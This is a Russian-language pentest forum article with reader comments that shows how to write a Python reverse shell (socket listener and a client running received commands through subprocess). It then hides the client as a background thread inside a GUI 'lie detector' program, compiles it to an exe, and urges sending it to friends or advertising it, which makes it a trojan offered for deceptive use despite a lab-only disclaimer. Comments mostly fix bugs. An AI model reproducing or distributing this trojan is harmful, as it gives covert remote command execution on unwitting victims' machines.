Toggle sidebar Toggle sidebar
РАЗБОР Pentest Статья

Создание быстрого Reverse Shell на Python

delifer
delifer Red Team · 515 сообщений
Подписаться
10,8 тыс.
[ обложка статьи ]
Режим чтения
Прежде чем перейти к коду, стоит сразу оговориться: описанный ниже reverse shell — учебный пример, показывающий саму механику работы обратного соединения через сокеты. Он передаёт данные в открытом виде без шифрования, а сигнатуры подобных скриптов (и скомпилированных из них exe-файлов) хорошо известны антивirusам и Windows Defender, так что для реальных пентестов такой код обычно дорабатывают — добавляют обфускацию, шифрование трафика и легитимные способы закрепления. Используйте материал только в рамках legal-тестирования на своих стендах или по договорённости с заказчиком.


python_reverse_shell.jpg

​
Всем привет. Предлагаю вам краткую статью на тему того, как написать быстрый Reverse Shell на языке программирования Python.

Начнём с подключения необходимых нам библиотек.
subprocess, socket

Написание серверной части
Говорим сокету что будем работать по протоколу TCP (это более надёжное соединение).
Python: 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Далее резервируем порт на котором наше соединение будет работать.
Python: 
s.bind(('127.0.0.1', 8888))

Метод accept() будет содержать кортеж, содержимое которого присвоится client и addr.
Python: 
client, addr = s.accept()

Затем создадим бесконечный цикл, для того чтобы наша программа не завершилась после первой команды.
Принимаем строковое значение.
Python: 
while True:
        command = input('Enter command: ')

Отправляем команду клиенту в закодированом виде.
Python: 
client.send(command.encode())

Создадим ещё команду exit, если мы уже достаточно напакостили и хотим выйти.
Python: 
if command.lower() == 'exit':
       break

Создаём переменную для получения результата от жертвы и декодируем её.
Python: 
result_output = client.recv(4096).decode()

И выводим с помощью print.
Python: 
print(result_output)

Теперь закрываем все подключения.
Python: 
client.close()
s.close()

Отлично, сторона сервера готова, полный код выглядит вот так:
Python: 
import socket


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)


client, addr = s.accept()


while True:
    command = input('Enter command: ')
    client.send(command.encode())
    if command.lower() == 'exit':
        break
    result_output = client.recv(4096).decode()
    print(result_output)


client.close()
s.close()

Написание клиентской части
Здесь уже нужно добавить ещё одну библиотеку, а именно subprocess, она позволит выполнять команды.
Python: 
import subprocess

Точно также говорим скрипту что будем работать по протоколу TCP.
Python: 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Теперь инициализируем подключение к серверной части скрипта.
Python: 
s.connect(('127.0.0.1', 8888))

Создадим цикл while True в котором скрипт будет ожидать команды от сервера и декодировать их.
Python: 
while True:
    command = s.recv(4096).decode()

Также создадим условие для выхода.
Python: 
if command.lower() == 'exit':
        break

Наконец вывод и отправка вывода от клиента.
Python: 
output = subprocess.getoutput(command)
s.send(output.encode())

Закрываем сокет.
Python: 
s.close()

Полный код выглядит вот так:
Python: 
import socket
import subprocess


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(('127.0.0.1', 8888))


while True:
    command = s.recv(4096).decode()
    if command.lower() == 'exit':
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())


s.close()

Там где написано 127.0.0.1, нужно подставить свой IP соответственно, иначе вы будете заражать сами себя.
Обратите внимание что в методах connect и blind я использую по 2 скобки, потому что это кортеж.
Репозиторий с этими файлами лежат здесь.
Имейте в виду, что shell работает только тогда, когда клиентский файл активен, так что лучше его запускать как python3 client.py &

Screenshot_2023-12-05_15-40-29.png


Так как мне кажется, что статья получилась короткой, я расскажу как внедрить его в свою программу на python и эскплойтить на Linux и Windows.
У меня ещё со времён когда я учился в шараге осталась программка, что-то типо детектора лжи. Программа просто выдавала числа от 0 до 1 в рандоме, если результат 1, то правда, если 0, то ложь вне зависимости от вопроса, хаха.
В ней имеется графический интерфейс и exe файл, поэтому подозрения сведены к минимуму.
Её main файл выглядит вот так:
Python: 
import PySimpleGUI as sg
import random
import time


#Дизайн приложения


sg.theme('DarkGrey5')


layout = [
    [sg.Text("Задай свой вопрос: ", font="Arial, 11")],[sg.Input(key="Answeruser")],
    [sg.Button("Узнать ответ")],[sg.Text("Результат:", font="Arial, 15")],
    [sg.Text("Нет, это ложь!", key="lie", visible=False, font="Arial, 20")],
    [sg.Text("Да,это правда!", key="true", visible=False, font="Arial, 20")],
]


window = sg.Window("True Or False?", layout, icon=r'/logo.png', size=(290,400), finalize=True) #основное окно приложения


while True: #бесконечный цикл для постоянной работы программы
    event, values = window.read()
    if event == sg.WIN_CLOSED: #завершает работу приложения
        break
    if event == 'Узнать ответ':
        answer = random.randint(0,1) # генерация ответа
        print("Кнопка работает") #Проверка кнопки
        if answer == 0:
            window["lie"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
            window.Refresh()
            time.sleep(3)
            window["lie"].update(visible=False)
        elif answer == 1:
            window["true"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
            window.Refresh()
            time.sleep(3)
            window["true"].update(visible=False)
#обновление экрана
        window.Refresh()


#закрытие окна приложения
window.close()

Найти код программы можно здесь.
Здесь ничего сложного на самом деле, просто вставим наши библиотеки.
Python: 
import PySimpleGUI as sg
import random
import time
!!!import socket!!!
!!!import subprocess!!![/SIZE]
!!!from threading import Thread!!!
[SIZE=4]

Разделим тело программы на 2 функции для того, чтобы мы могли дать им возможность работать одновременно, в функции main() будет основной код приложения, в shell(), собственно, наш шелл.
Python: 
[/SIZE]
#библиотеки для работы приложения
import PySimpleGUI as sg
import random
import time
!!!!import socket
!!!!import subprocess
!!!!!from threading import Thread

def main():
    sg.theme('DarkGrey5')

    layout = [
        [sg.Text("Задай свой вопрос: ", font="Arial, 11")],[sg.Input(key="Answeruser")],
        [sg.Button("Узнать ответ")],[sg.Text("Результат:", font="Arial, 15")],
        [sg.Text("Нет, это ложь!", key="lie", visible=False, font="Arial, 20")],
        [sg.Text("Да,это правда!", key="true", visible=False, font="Arial, 20")],
    ]
    window = sg.Window("True Or False?", layout, icon=r'/logo.png', size=(290,400), finalize=True) #основное окно приложения

    while True:
        event, values = window.read() 
        if event == sg.WIN_CLOSED: #завершает работу приложения
            break
        if event == 'Узнать ответ':
            answer = random.randint(0,1) # генерация ответа
            print("Кнопка работает") #Проверка кнопки
            if answer == 0:
                window["lie"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
                window.Refresh()
                time.sleep(3)
                window["lie"].update(visible=False)
            elif answer == 1:
                window["true"].update(visible=True) #Программа сначала выводит текст который выпал затем обновляет экран и прячет текст
                window.Refresh()
                time.sleep(3)
                window["true"].update(visible=False)
#обновление экрана
            window.Refresh()
#закрытие окна приложения
    window.close()
!!!!def shell():
!!!!    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

!!!!    s.connect(('IP', 8888))

!!!    while True:
!!!        command = s.recv(4096).decode()
!!!        if command.lower() == 'exit':
!!!            break
!!!        output = subprocess.getoutput(command)
!!!        s.send(output.encode())
!!!
!!!    s.close()

if __name__ == "__main__":
    thread = Thread(target=shell)
    thread_main = Thread(target=main)
    thread.start()
    thread_main.start()
    thread.join()
    thread_main.join()

Отлично, теперь при запуске программы программа запустит shell и пока пользователь задаёт вопросы программе, она также предоставляет нам доступ к директориям и файловой системе.
Для того чтобы скомпилировать эту программу в exe-шник, нужно на Windows (на Linux у меня не вышло), выполнить следующую команду (c помощью pyinstaller): pyinstaller --onefile --windowed main.py

Готово, теперь можно отправлять программу другу, или рекламировать её где-нибудь. Желаю удачи, братья!
Полезно · 5
##codeby ##infosec ##linux ##python3 ##reverse_shell ##windows #socket

Комментарии

12
#2
троянский конь...
 
#3
добавлю в закреп
 
#4
Отличная статья. Гонорар отправлен. Продолжайте в том же духе 👍💪
 
  • Нравится
Реакции: OxDEADBEEF и delifer
2
#5
Статью даже слабой назвать сложно.

D3L1F3R сказал(а):
Метод accept() будет принимать в себя 2 значения (client и addr).
Python: 
client, addr = s.accept()
Нажмите, чтобы раскрыть...
Совсем наоборот: метод accept возвращает кортеж, содержимое которого присваивается переменным client и addr

D3L1F3R сказал(а):
command = str(input('Enter command: '))
Нажмите, чтобы раскрыть...
Зачем же строку к строке приводить?

D3L1F3R сказал(а):
Создадим while True в которой
Нажмите, чтобы раскрыть...
Почему в которой? цикл - он...

D3L1F3R сказал(а):
Также создадим команду для выхода.
Нажмите, чтобы раскрыть...
Это не команда, это условие

D3L1F3R сказал(а):
output = subprocess.getoutput(command) s.send(output.encode())
Нажмите, чтобы раскрыть...
А почему тут отступ?

D3L1F3R сказал(а):
иначе вы будете заражать сами себя.
Нажмите, чтобы раскрыть...
Чем заражать?

D3L1F3R сказал(а):
картёж
Нажмите, чтобы раскрыть...
Кортеж

D3L1F3R сказал(а):
резултат
Нажмите, чтобы раскрыть...
Результат

D3L1F3R сказал(а):
В ней ей графический
Нажмите, чтобы раскрыть...
есть?

D3L1F3R сказал(а):
while True: #Закрывает программу
Нажмите, чтобы раскрыть...
Судя по таким комментариям, оставляли их к чужому коду...

D3L1F3R сказал(а):
Windows
Нажмите, чтобы раскрыть...
D3L1F3R сказал(а):
можно дать команду os.system(python3 -c 'КОД' &)
Нажмите, чтобы раскрыть...
и получить ошибку


Ну и самое главное
D3L1F3R сказал(а):
Отлично, теперь при запуске программы программа запустит shell и пока пользователь задаёт вопросы
Нажмите, чтобы раскрыть...
Да не дойдёт этот код до вопросов пользователя.
Вы создаёте бесконечный цикл, в котором происходит сетевое взаимодействие, а строка кода с формированием окна PySimpleGUI находится после этого цикла.
 
  • Нравится
Реакции: Polyglot, ALT1RE, delifer и ещё 1 человек
4
#6
f22 сказал(а):
Статью даже слабой назвать сложно.


Совсем наоборот: метод accept возвращает кортеж, содержимое которого присваивается переменным client и addr


Зачем же строку к строке приводить?


Почему в которой? цикл - он...


Это не команда, это условие


А почему тут отступ?


Чем заражать?


Кортеж


Результат


есть?


Судя по таким комментариям, оставляли их к чужому коду...



и получить ошибку


Ну и самое главное

Да не дойдёт этот код до вопросов пользователя.
Вы создаёте бесконечный цикл, в котором происходит сетевое взаимодействие, а строка кода с формированием окна PySimpleGUI находится после этого цикла.
Нажмите, чтобы раскрыть...
касательно метода accept ошибся в объяснении, строку привёл к строке по глупости, только сейчас обратил внимание, вообще верно что это условие, но для нашей стороны это можно назвать командой, не понимаю про какой отступ вы говорите, зарадать этим "конём" ну т.е подключаться к своему же компьютеру, кортеж не знаю что побудило меня так написать, результат справедливо, да есть, комментарий к while True оставлен мной и эту прогу я писал давным давно так что даже не могу объяснить почему цикл это выход из программы, относительно команды os.system на виндовс должен быть установлен python я об этом говорил, данная команда работает на всех версиях пайтон
 
#7
D3L1F3R сказал(а):
не понимаю про какой отступ вы говорите
Нажмите, чтобы раскрыть...
1702970637265.png


D3L1F3R сказал(а):
относительно команды os.system на виндовс должен быть установлен python я об этом говорил, данная команда работает на всех версиях пайтон
Нажмите, чтобы раскрыть...
Речь не о команде, а о том, что символ амперсанда не используется в cmd
Он применяется только в *nix системах
 
  • Нравится
Реакции: delifer
1
#8
  • Нравится
Реакции: f22
1
#9
D3L1F3R сказал(а):
Видимо случайно поставил, спасибо что обратили внимание на граматические и логические ошибки!
Нажмите, чтобы раскрыть...
Доработайте пожалуйста свою статью, чтобы было красиво, понятно и без ошибок.
 
  • Нравится
Реакции: delifer
1
#10
#11
D3L1F3R сказал(а):
Исправил всё что вы заметили и перепроверил, исправил код, спасибо что рассказали об ошибках!
Нажмите, чтобы раскрыть...
Пожалуйста

D3L1F3R сказал(а):
И вставим код в часть программы.
Нажмите, чтобы раскрыть...
Не будет это просто так работать.
У вас один поток выполнения - он или занят сокетами, или занят работой с Pythongui

Чтобы одновременно выполнялись обе задачи, нужно создать для каждой свой поток.
Или через Process, или через Thread
 
  • Нравится
Реакции: delifer
1
#12
f22 сказал(а):
Пожалуйста


Не будет это просто так работать.
У вас один поток выполнения - он или занят сокетами, или занят работой с Pythongui

Чтобы одновременно выполнялись обе задачи, нужно создать для каждой свой поток.
Или через Process, или через Thread
Нажмите, чтобы раскрыть...
Да, я это сделал =)
 
#13
Годная статья, отлично постарался
 
Для ответа нужно войти/зарегистрироваться
Продолжить чтение
Следующий разбор RedAmon: open source инструменты для пентеста 2026
  • Ширина
  • Запросы
    146
  • Время
    0.2015s
  • Память
    16.83MB
Верх Низ
Назад